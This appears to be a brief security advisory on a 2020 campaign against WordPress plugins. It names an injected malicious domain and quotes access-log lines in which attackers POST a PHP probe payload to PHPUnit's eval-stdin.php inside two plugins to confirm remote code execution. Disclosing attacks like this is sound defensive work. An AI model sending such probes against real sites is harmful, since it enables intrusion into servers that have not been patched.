Ongoing Campaign Targets Plugin Vulnerabilities

An ongoing malicious campaign that we’ve been actively tracking since early 2019 continues targeting new plugin vulnerabilities to inject malicious domains.

Malicious domain injected during this month: clon[.]collectfasttracks[.]com

Multiple Plugins Affected by an Old Vulnerability in PHPUnit

As seen in January attackers are continuing to leverage an RCE in PHPUnit along with several plugin vulnerabilities found in the past month.

Unpatched versions of PHPUnit prior to 4.8.28 and 5.6.3 allow remote attackers to execute arbitrary PHP code via HTTP POST data.

Jekyll-exporter

118.27.25.88 - <?php  echo 'RCE_VULN|'; echo php_uname();?> [13/Mar/2020] "POST //wp-content/plugins/jekyll-exporter/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1"

Wp-heyloyalty

118.27.5.203 - <?php  echo 'RCE_VULN|'; echo php_uname();?> [12/Mar/2020] "POST //wp-content/plugins/wp-heyloyalty/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1"
